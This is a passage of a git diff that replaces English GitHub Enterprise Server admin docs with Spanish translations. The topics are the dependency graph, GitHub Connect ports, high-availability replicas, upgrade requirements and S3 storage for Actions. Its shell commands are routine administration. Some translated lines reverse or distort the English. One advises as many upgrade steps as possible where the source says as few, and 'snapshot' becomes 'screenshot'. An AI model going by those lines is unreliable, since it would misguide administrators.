de dependencias para tu empresa, puedes habilitar {% data variables.product.prodname_dependabot %} a fin de detectar dependencias poco seguras en el repositorio{% ifversion ghes %} y corregir automáticamente las vulnerabilidades{% endif %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)". -{% ifversion ghes %} -You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend using the {% data variables.enterprise.management_console %} unless {% data variables.location.product_location %} uses clustering. +{% ifversion ghes %} Puedes habilitar el gráfico de dependencias mediante {% data variables.enterprise.management_console %} o el shell administrativo. Se recomienda usar {% data variables.enterprise.management_console %}, a menos que {% data variables.location.product_location %} uses la agrupación en clústeres. -## Enabling the dependency graph via the {% data variables.enterprise.management_console %} +## Habilitar la gráfica de dependencias a través de la {% data variables.enterprise.management_console %} -If {% data variables.location.product_location %} uses clustering, you cannot enable the dependency graph with the {% data variables.enterprise.management_console %} and must use the administrative shell instead. For more information, see "[Enabling the dependency graph via the administrative shell](#enabling-the-dependency-graph-via-the-administrative-shell)." +Si {% data variables.location.product_location %} usa la agrupación en clústeres, no puedes habilitar el gráfico de dependencias con {% data variables.enterprise.management_console %} y debes usar el shell administrativo en su lugar. Para obtener más información, consulte "[Habilitación del gráfico de dependencias mediante el shell administrativo](#enabling-the-dependency-graph-via-the-administrative-shell)". -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," click **Dependency graph**. -![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} -1. Click **Visit your instance**. +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} +1. En "Security" (Seguridad), haga clic en **Dependency graph** (Gráfico de dependencias). +![Casilla para habilitar o deshabilitar el gráfico de dependencias](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} +1. Haga clic en **Visit your instance** (Visitar la instancia). -## Enabling the dependency graph via the administrative shell +## Habilitar la gráfica de dependencias a través del shell administrativo -{% endif %} -{% data reusables.enterprise_site_admin_settings.sign-in %} -1. In the administrative shell, enable the dependency graph on {% data variables.location.product_location %}: - {% ifversion ghes %}```shell - ghe-config app.dependency-graph.enabled true +{% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %} +1. En el shell administrativo, habilita el gráfico de dependencias en {% data variables.location.product_location %}: {% ifversion ghes %}```shell ghe-config app.dependency-graph.enabled true ``` {% else %}```shell ghe-config app.github.dependency-graph-enabled true @@ -57,4 +54,4 @@ If {% data variables.location.product_location %} uses clustering, you cannot en ```shell $ ghe-config-apply ``` -3. Return to {% data variables.product.prodname_ghe_server %}. +3. Regresar a {% data variables.product.prodname_ghe_server %}. diff --git a/translations/es-ES/content/admin/configuration/configuring-github-connect/about-github-connect.md b/translations/es-ES/content/admin/configuration/configuring-github-connect/about-github-connect.md index 4b26af2b8e..07cb787914 100644 --- a/translations/es-ES/content/admin/configuration/configuring-github-connect/about-github-connect.md +++ b/translations/es-ES/content/admin/configuration/configuring-github-connect/about-github-connect.md @@ -19,7 +19,7 @@ miniTocMaxHeadingLevel: 3 Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}. -To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." +To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as {% ifversion ghes %}automatic user license sync and {% endif %}{% data variables.product.prodname_dependabot_alerts %}. For more information about all of the features available, see "[{% data variables.product.prodname_github_connect %} features](#github-connect-features)." diff --git a/translations/es-ES/content/admin/configuration/configuring-github-connect/managing-github-connect.md b/translations/es-ES/content/admin/configuration/configuring-github-connect/managing-github-connect.md index 113d5f293b..d693ab2f7b 100644 --- a/translations/es-ES/content/admin/configuration/configuring-github-connect/managing-github-connect.md +++ b/translations/es-ES/content/admin/configuration/configuring-github-connect/managing-github-connect.md @@ -28,7 +28,9 @@ topics: You can access additional features and workflows on {% data variables.location.product_location %} by enabling {% data variables.product.prodname_github_connect %}. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)." -When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}. +When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} + +Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}. {% ifversion ghes %} {% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. The following credentials will be replicated to all nodes in a high availability or cluster environment, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}. diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md index 576fc56eeb..da2928d54d 100644 --- a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md +++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md @@ -63,6 +63,10 @@ Email ports must be accessible directly or via relay for inbound email support f If you enable automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, {% data variables.product.prodname_actions %} will always search for an action on {% data variables.location.product_location %} first, via these ports, before checking {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect)." +## {% data variables.product.prodname_github_connect %} ports + +If you enable {% data variables.product.prodname_github_connect %}, the connection between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %} uses HTTPS over ports 443 or 80, and TLS is required. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)." + ## Further reading - "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)" diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md index e70b4f1225..32e606a62e 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -1,6 +1,6 @@ --- -title: Creating a high availability replica -intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' +title: Crear una réplica de alta disponibilidad +intro: 'En una configuración activa/pasiva, el aparato réplica es una copia redundante del aparato principal. Si el aparato principal falla, el modo de alta disponibilidad permite que la réplica actúe como aparato principal, lo que posibilita que la interrupción del servicio sea mínima.' redirect_from: - /enterprise/admin/installation/creating-a-high-availability-replica - /enterprise/admin/enterprise-management/creating-a-high-availability-replica @@ -13,83 +13,87 @@ topics: - High availability - Infrastructure shortTitle: Create HA replica +ms.openlocfilehash: ee384588ee76cd455facdb6fcbe838fc110bc223 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106761' --- {% data reusables.enterprise_installation.replica-limit %} -## Creating a high availability replica +## Crear una réplica de alta disponibilidad -1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance). -1. Ensure that the new appliance can communicate with all other appliances in this high availability environment over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." -1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. +1. Configurar un aparato {% data variables.product.prodname_ghe_server %} nuevo en la plataforma que desees. El aparato réplica debe espejar la CPU, la RAM y los ajustes de almacenamiento del aparato principal. Recomendamos que instales el aparato réplica en un entorno separado. El hardward subyacente, el software y los componentes de red deben estar aislados de los del aparato principal. Si estás usando un proveedor de nube, utiliza una región o zona separada. Para más información, vea "[Configuración de una instancia de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)". +1. Asegúrate de que el nuevo dispositivo puede comunicarse con todos los demás dispositivos de este entorno de alta disponibilidad a través de los puertos 122/TCP y 1194/UDP. Para más información, vea "[Puertos de red](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)". +1. Desde un navegador, dirígete a la nueva dirección IP del aparato réplica y carga tu licencia {% data variables.product.prodname_enterprise %}. {% data reusables.enterprise_installation.replica-steps %} -1. Connect to the replica appliance's IP address using SSH. +1. Conectarse a la dirección IP del aparato réplica usando SSH. ```shell $ ssh -p 122 admin@REPLICA_IP ``` -{% data reusables.enterprise_installation.generate-replication-key-pair %} -{% data reusables.enterprise_installation.add-ssh-key-to-primary %} -1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. +{% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %} +1. Para comprobar la conexión al dispositivo principal y habilitar el modo de réplica para la réplica nueva, vuelva a ejecutar `ghe-repl-setup`. ```shell $ ghe-repl-setup PRIMARY_IP ``` -{% data reusables.enterprise_installation.replication-command %} -{% data reusables.enterprise_installation.verify-replication-channel %} +{% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %} -## Creating geo-replication replicas +## Crear réplicas de replicación geográfica -This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/admin/guides/installation/network-ports/#administrative-ports)." +Esta configuración de ejemplo utiliza una réplica primaria y dos réplicas, que se encuentran en tres regiones geográficas diferentes. Aunque los tres nodos pueden estar en redes diferentes, se necesitan todos los nodos para que sean accesibles desde todos los demás nodos. Como mínimo, los puertos administrativos requeridos deben estar abiertos para todos los demás nodos. Para más información sobre los requisitos de puerto, vea "[Puertos de red](/enterprise/admin/guides/installation/network-ports/#administrative-ports)". -{% data reusables.enterprise_clustering.network-latency %} If latency is more than 70 milliseconds, we recommend cache replica nodes instead. For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)." +{% data reusables.enterprise_clustering.network-latency %} Si la latencia es superior a 70 milisegundos, se recomienda en su lugar almacenar en caché los nodos de réplica. Para obtener más información, consulta "[Configuración de una caché de repositorio](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)". -1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. +1. Crea la primera réplica de la misma manera que una configuración de dos nodos estándar, mediante la ejecución de `ghe-repl-setup` en la primera réplica. ```shell (replica1)$ ghe-repl-setup PRIMARY_IP (replica1)$ ghe-repl-start ``` -2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. +2. Cree una segunda réplica y use el comando `ghe-repl-setup --add`. La marca `--add` evita que sobrescriba la configuración de replicación existente y agrega la nueva réplica a la configuración. ```shell (replica2)$ ghe-repl-setup --add PRIMARY_IP (replica2)$ ghe-repl-start ``` -3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. +3. Predeterminadamente, las replicas se configuran en el mismo centro de datos, y ahora intentarán poblar los datos desde un nodo existente en el mismo centro de datos. Configura las réplicas para diferentes centros de datos estableciendo un valor diferente para la opción de centro de datos. Los valores específicos pueden ser los que tú quieras, siempre que sean diferentes entre sí. Ejecute el comando `ghe-repl-node` en cada nodo y especifique el centro de datos. - On the primary: + En la primaria: ```shell (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] ``` - On the first replica: + En la primera réplica: ```shell (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] ``` - On the second replica: + En la segunda réplica: ```shell (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] ``` {% tip %} - **Tip:** You can set the `--datacenter` and `--active` options at the same time. + **Sugerencia:** Puede establecer las opciones `--datacenter` y `--active` al mismo tiempo. {% endtip %} -4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. +4. Un nodo de réplica activo almacenará copias de los datos del aparato y responderá las solicitudes de usuario final. Un nodo inactivo almacenará copias de los datos del aparato, pero no podrá atender las solicitudes de usuario final. Habilite el modo activo mediante la marca `--active`, o bien el modo inactivo con la marca `--inactive`. - On the first replica: + En la primera réplica: ```shell (replica1)$ ghe-repl-node --active ``` - On the second replica: + En la segunda réplica: ```shell (replica2)$ ghe-repl-node --active ``` -5. To apply the configuration, use the `ghe-config-apply` command on the primary. +5. Para aplicar la configuración, use el comando `ghe-config-apply` en la réplica principal. ```shell (primary)$ ghe-config-apply ``` -## Configuring DNS for geo-replication +## Configurar el DNS para replicación geográfica -Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. +Configurar Geo DNS usando las direcciones IP de los nodos primarios y réplica. También puede crear un CNAME DNS para el nodo principal (por ejemplo, `primary.github.example.com`) para acceder al nodo principal mediante SSH o para realizar una copia de seguridad con `backup-utils`. -For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. +Para las pruebas, puede agregar entradas al archivo `hosts` de la estación de trabajo local (por ejemplo, `/etc/hosts`). Estas entradas de ejemplo resolverán las solicitudes de `HOSTNAME` en `replica2`. Puedes apuntar a hosts específicos comentando en diferentes líneas. ``` # HOSTNAME @@ -97,8 +101,8 @@ For testing, you can add entries to the local workstation's `hosts` file (for ex HOSTNAME ``` -## Further reading +## Información adicional -- "[About high availability configuration](/enterprise/admin/guides/installation/about-high-availability-configuration)" -- "[Utilities for replication management](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" -- "[About geo-replication](/enterprise/admin/guides/installation/about-geo-replication/)" +- "[Acerca de la configuración de alta disponibilidad](/enterprise/admin/guides/installation/about-high-availability-configuration)" +- "[Utilidades para la administración de la replicación](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[Acerca de la replicación geográfica](/enterprise/admin/guides/installation/about-geo-replication/)" diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 5b9ed639d1..c27ff001f5 100644 --- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -1,6 +1,6 @@ --- -title: Upgrade requirements -intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.' +title: Requisitos de actualización +intro: 'Antes de actualizar el {% data variables.product.prodname_ghe_server %}, revisa estas recomendaciones y requisitos para planificar tu estrategia de actualización.' redirect_from: - /enterprise/admin/installation/upgrade-requirements - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release @@ -13,40 +13,46 @@ type: reference topics: - Enterprise - Upgrades +ms.openlocfilehash: 23ac63dd30c11f4c29cd17313a583579d2e2cea1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106881' --- {% note %} -**Notes:** -- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. -- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). +**Notas:** +- Los paquetes de actualización están disponibles en [enterprise.github.com](https://enterprise.github.com/releases) para las versiones compatibles. Verifica la disponibilidad de los paquetes de actualización, deberás completar la actualización. Si un paquete no está disponible, contacta a {% data variables.contact.contact_ent_support %} para obtener ayuda. +- Si usa agrupación en clústeres de {% data variables.product.prodname_ghe_server %}, vea "[Actualización de un clúster](/enterprise/admin/guides/clustering/upgrading-a-cluster/)" en la Guía de agrupación en clústeres de {% data variables.product.prodname_ghe_server %} a fin de obtener instrucciones específicas exclusivas para la agrupación en clústeres. +- Estas notas de lanzamiento para el {% data variables.product.prodname_ghe_server %} brindan una lista detallada de las nuevas características de cada versión del {% data variables.product.prodname_ghe_server %}. Para más información, vea la [página de versiones](https://enterprise.github.com/releases). {% endnote %} -## Recommendations +## Recomendaciones -- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. -- If you’re several versions behind, upgrade {% data variables.location.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. -- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} -- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)." -- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. -- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." -- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). +- Incluye tantas nuevas actualizaciones como sea posible en tu proceso de actualización. Por ejemplo, en lugar de actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.supported[1] }} a {{ enterpriseServerReleases.latest }}, podrías actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.latest }}. Use el [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para buscar la ruta de actualización de la versión actual. +- Si estás varias versiones por detrás, actualiza {% data variables.location.product_location %} tanto como sea posible con cada paso del proceso de actualización. Utilizar la versión más reciente posible en cada actualización te permite aprovechar las mejoras de desempeño y las correcciones de errores. Por ejemplo, podrías actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.8 a 2.10, pero actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.9 a 2.10 utiliza una versión posterior en el segundo paso. +- Utiliza el lanzamiento de patch más reciente cuando actualices. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} +- Utiliza una instancia de preparación para probar los pasos de actualización. Para más información, vea "[Configuración de una instancia de almacenamiento provisional](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)". +- Cuando ejecutas varias mejoras, espera por lo menos 24 horas entre las mejoras a las características para permitir que se completen totalmente las migraciones de datos y actualizaciones de las tareas que se ejecutan en segundo plano. +- Toma una captura de pantalla antes de que mejores tu máquina virtual. Para más información, vea "[Realización de una instantánea](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)". +- Asegúrate de que tienes un respaldo reciente y exitoso de tu instancia. Para más información, vea [Archivo README.md de {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). -## Requirements +## Requisitos -- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. -- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. +- Debe actualizar desde una versión de actualización de características que esté **como máximo** dos versiones por detrás. Por ejemplo, para actualizar a {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, debes estar en {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} o {{ enterpriseServerReleases.supported[2] }}. +- Cuando hagas una mejora mediante un paquete de mejora, programa una ventana de mantenimiento para los usuarios finales de {% data variables.product.prodname_ghe_server %}. - {% data reusables.enterprise_installation.hotpatching-explanation %} -- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. -- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. -- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. -- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command: +- Es posible que un hotpatch requiera tiempo de inactividad si los servicios afectados (como kernel, MySQL, o Elasticsearch) requieren un reinicio de VM o un reinicio del servicio. Se te notificará cuando se necesite reiniciar. Puedes completar el reinicio más tarde. +- Es necesario que haya un almacenamiento raíz adicional disponible cuando se actualiza a través de un hotpatch, ya que instala múltiples versiones de determinados servicios hasta que se completa la actualización. El control de prevuelo te notificará si no tienes suficiente almacenamiento de disco raíz. +- Cuando se actualiza a través de un hotpatch, tu instancia no puede estar muy cargada, ya que puede impactar el proceso del hotpatch. +- Actualizar a {% data variables.product.prodname_ghe_server %} 2.17 migra tus registros de auditoría desde Elasticsearch a MySQL. Esta migración también incrementa la cantidad de tiempo y el espacio en disco que lleva restaurar una instantánea. Antes de migrar, controla el número de bytes en tus índices de registro de auditoría de ElasticSearch con este comando: ``` shell curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes ``` -Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration. +Utiliza el número para estimar la cantidad de espacio de disco que los registros de auditoría de MySQL necesitarán. El script también controla tu espacio libre en disco mientras la importación está en progreso. Controlar este número es especialmente útil si tu espacio libre en disco está cerca de la cantidad de espacio en disco necesaria para la migración. -## Next steps +## Pasos siguientes -After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)." +Después de revisar estas recomendaciones y requisitos, puedes actualizar el {% data variables.product.prodname_ghe_server %}. Para más información, vea "[Actualización de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)". diff --git a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md index f60689bd6e..d2a1f669d5 100644 --- a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md +++ b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Actions with Amazon S3 storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store data generated by workflow runs.' +title: Habilitar las GitHub Actions con el almacenamiento de Amazon S3 +intro: 'Puedes habilitar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %} y utilizar el almacenamiento de Amazon S3 para almacenar datos generados por ejecuciones de flujos de trabajo.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -13,39 +13,40 @@ topics: redirect_from: - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage shortTitle: Amazon S3 storage +ms.openlocfilehash: 23fd8eabe502a6a29610de451cae72542ceca53f +ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132652' --- -## Prerequisites +## Prerrequisitos {% note %} -**Note:** The only {% data variables.product.prodname_dotcom %}-supported S3 storage providers are Amazon S3 and MinIO Gateway for NAS. +**Advertencia:** Los únicos proveedores de almacenamiento de S3 compatibles con {% data variables.product.prodname_dotcom %} son Amazon S3 y MinIO Gateway for NAS. {% data reusables.actions.enterprise-s3-tech-partners %} {% endnote %} -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +Antes de que habilites las {% data variables.product.prodname_actions %}, asegúrate de que has completado los siguientes pasos: -* Create your Amazon S3 bucket for storing data generated by workflow runs. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +* Crea tu cubo de Amazon S3 para almacenar los datos que generan las ejecuciones de flujo de trabajo. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage +## Habilitar {% data variables.product.prodname_actions %} con almacenamiento de Amazon S3 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Amazon S3** y escriba los detalles del cubo de almacenamiento: - * **AWS Service URL**: The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2` region, this value should be `https://s3.us-west-2.amazonaws.com`. + * **URL del servicio de AWS**: la dirección URL del servicio del cubo. Por ejemplo, si el cubo de S3 se ha creado en la región `us-west-2`, este valor debe ser `https://s3.us-west-2.amazonaws.com`. - For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. - * **AWS S3 Bucket**: The name of your S3 bucket. - * **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key for your bucket. For more information on managing AWS access keys, see the "[AWS Identity and Access Management 